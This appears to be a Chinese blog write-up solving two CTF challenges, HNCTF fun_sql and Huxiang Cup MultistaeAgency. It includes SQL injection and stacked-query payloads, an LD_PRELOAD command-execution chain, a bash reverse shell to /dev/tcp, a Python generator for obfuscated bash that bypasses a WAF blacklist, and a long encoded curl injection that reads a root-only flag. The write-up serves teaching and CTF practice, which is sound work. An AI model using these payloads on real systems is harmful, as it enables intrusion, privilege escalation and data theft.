0%

5-10日常

[HNCTF 2022 WEEK4]fun_sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

$uname=$_GET['uname'];

if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');

}

$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";


mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);

echo "<br>";

echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";

}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);

先直接猜一下

1
-1' union select 1,database(),3-- +

可以爆出数据库名,但是想继续利用联合注入是没办法的了

利用联合注入插入数据

1
-1' union select 1,database(),3;insert into ccctttfff values('222','2','222');'1

这样查询到的数据就是我们插入的数据,所以之后再让uname=2即可

也可以这样

1
0'/**/union/**/select/**/1,load_file(concat('/var/www/html/fla','g.php')),3--+

[湖湘杯 2021 final]MultistaeAgency

一个go语言写的文件上传页面

先看web/main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
package main

import (
"bytes"
"crypto/md5"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"math/rand"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
)

var SecretKey = ""//abc123

type TokenResult struct {
Success string `json:"success"`
Failed string `json:"failed"`
}


const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}

func getToken(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
r.Header.Set("Fromhost", fromHost)
command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")//命令执行点,可能有漏洞
for k, _ := range values {
command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))

}
//该代码段中的 for 循环遍历了 HTTP 请求的 URL 参数,并将参数中的键值对转换为环境变量。具体来说,对于每一个参数,它会按照 key=value 的格式将其添加到 command.Env 数组中。在这个循环中,k 表示参数的名称,而 _ 表示参数的值,但是在这里并没有用到参数的值,因此使用了下划线 _ 来表示忽略该值。values.Get(k) 表示获取指定参数名称 k 的值,然后将参数名称和值格式化为 key=value 的形式,使用 fmt.Sprintf 函数进行字符串格式化。最后,将格式化后的字符串作为一个元素添加到 command.Env 数组中,以便将其传递给 curl 命令作为环境变量使用。
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
//res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
res := TokenResult{}
if err = command.Wait(); err != nil {
res.Failed = outerr.String()
}

res.Success = outinfo.String()

msg, _ := json.Marshal(res)
w.Write(msg)

}

type ListFileResult struct {
Files []string `json:"files"`
}

// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {

values := r.URL.Query()
token := values.Get("token")
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
// 验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token)
files, err := ioutil.ReadDir(dir)
if err == nil {
var fs []string
for _, f := range files {
fs = append(fs, f.Name())
}

msg, _ := json.Marshal(ListFileResult{Files: fs})
w.Write(msg)

}

}

}

type UploadFileResult struct {
Code string `json:"code"`
}
//将上传的文件到当前token所对应的目录下面,然后请求server服务的/manage接口
func uploadFile(w http.ResponseWriter, r *http.Request) {

if r.Method == "GET" {
fmt.Fprintf(w, "get")
} else {
values := r.URL.Query()
token := values.Get("token")
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
//验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token)
if _, err := os.Stat(dir); err != nil {
os.MkdirAll(dir, 0766)
}

files, err := ioutil.ReadDir(dir)
if len(files) > 5 {
command := exec.Command("curl", "127.0.0.1:9091/manage")
command.Start()

}

r.ParseMultipartForm(32 << 20)
file, _, err := r.FormFile("file")
if err != nil {
msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
w.Write(msg)
return
}
defer file.Close()
fileName := RandStringBytes(5)
f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
msg, _ := json.Marshal(UploadFileResult{Code: fileName})
w.Write(msg)
} else {
msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
w.Write(msg)
}

}
}

func checkToken(token, ip string) bool {
data := []byte(SecretKey + ip)
has := md5.Sum(data)
md5str := fmt.Sprintf("%x", has)
return md5str == token
}

func IndexHandler (w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r,"dist/index.html")
}

func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey = string(content)
http.HandleFunc("/", IndexHandler)
fs := http.FileServer(http.Dir("dist/static"))
http.Handle("/static/", http.StripPrefix("/static/", fs))
http.HandleFunc("/token", getToken)
http.HandleFunc("/upload", uploadFile)
http.HandleFunc("/list", listFile)
log.Print("start listen 9090")
err = http.ListenAndServe(":9090", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}

再看看docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM golang:latest

RUN mkdir -p /code/logs

COPY . /code

WORKDIR /code

RUN go build -o bin/web web/main.go && \
go build -o bin/proxy proxy/main.go && \
go build -o bin/server server/main.go

RUN chmod -R 777 /code

RUN useradd web

ADD flag /flag

RUN chmod 400 /flag

ENTRYPOINT "/code/start.sh"

start.sh

1
2
3
4
5
6
7
echo `cat /proc/sys/kernel/random/uuid  | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"

/code/bin/server 2>&1 >/code/logs/server.log &

tail -f /code/logs/*

可以知道有三个服务,web,server,proxy

其中web和proxy是web权限,server是root权限登录

flag是400权限,需要root权限

再看看sever/main.go(主要功能)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
func manage(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
m := values.Get("m")
if !waf(m) {
fmt.Fprintf(w, "waf!")
return
}
cmd := fmt.Sprintf("rm -rf uploads/%s", m)
fmt.Println(cmd)
command := exec.Command("bash", "-c", cmd)
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
if err = command.Wait(); err != nil {
res = outerr.String()
} else {
res = outinfo.String()

}
fmt.Fprintf(w, res)
}

func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"}
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) {
if t == s {
continue
}
if t == 0 {
t = s
} else {
return false
}
}
}

return true
}

其中m的值是可控的,然后格式化字符串后,就执行bash的命令。但是flag需要root权限读(文件所有者是root,用户组是普通用户),所以我们的目的还是需要执行server的exec命令

对于GET传参可控的话,直接拿分号分割命令然后读flag即可。

在前面token路由可以设置环境变量,加上可以上传文件。

我们可以上传一个so文件的动态链接库,然后LD_PRELOAD来加载一个上传的恶意so文件,就可以达到一个命令执行。

proxy/main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey := string(content)
proxy := goproxy.NewProxyHttpServer()
proxy.Verbose = true
proxy.OnRequest().DoFunc(
func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {
r.Header.Set("Secretkey",SecretKey)
return r,nil
})
log.Print("start listen 8080")
log.Fatal(http.ListenAndServe(":8080", proxy))
}

我们再来看看其中一个 js 文件 app.67303823400ea75ce4a3.js,它的 SourceMap 也给出了:

img

1
sourcemap 记录了源代码和编译后代码的相关信息,可以将编译后代码映射为源代码,以帮助开发人员排查问题代码出现的位置,进而对问题代码进行修复。

使用如下命令进行恢复

1
2
npm install --global reverse-sourcemap
reverse-sourcemap -v app.67303823400ea75ce4a3.js.map -o test

img

发现请求 token 会自动加上 ?http_proxy=127.0.0.1:8080

所以就可以拿到我们自己的token

img

既然知道了token,就可以开始执行命令

1
/token?http_proxy=127.0.0.1:8080&LD_PRELOAD=/code/uploads/d9d70853e8b721f98b5f664166132d90/XVlBz&cmd=ls /

但是读不了flag,因为权限问题

先弹个shell

1
/token?http_proxy=127.0.0.1:8080&LD_PRELOAD=/code/uploads/d9d70853e8b721f98b5f664166132d90/XVlBz&cmd=bash -c 'exec bash -i %26>/dev/tcp/xxxxx/9999 <%261'

接下来我们可以利用curl去请求具有root权限的server中的/manage路由,调用它的bash命令

关键是怎么绕过waf,过滤了. * ?

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import sys
from urllib.parse import quote

# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:
a = sys.argv[1]

out = r"${!#}<<<{"

for c in "bash -c ":
if c == ' ':
out += ','
continue
out += r"\$\'\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[2:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"

out += r"\$\'"
for c in a:
out += r"\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[2:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"

out += "}"
print('out =', out)
print('quote(out) =', quote(out))

m参数先用一个%3b也就是分号来分割命令

1
curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D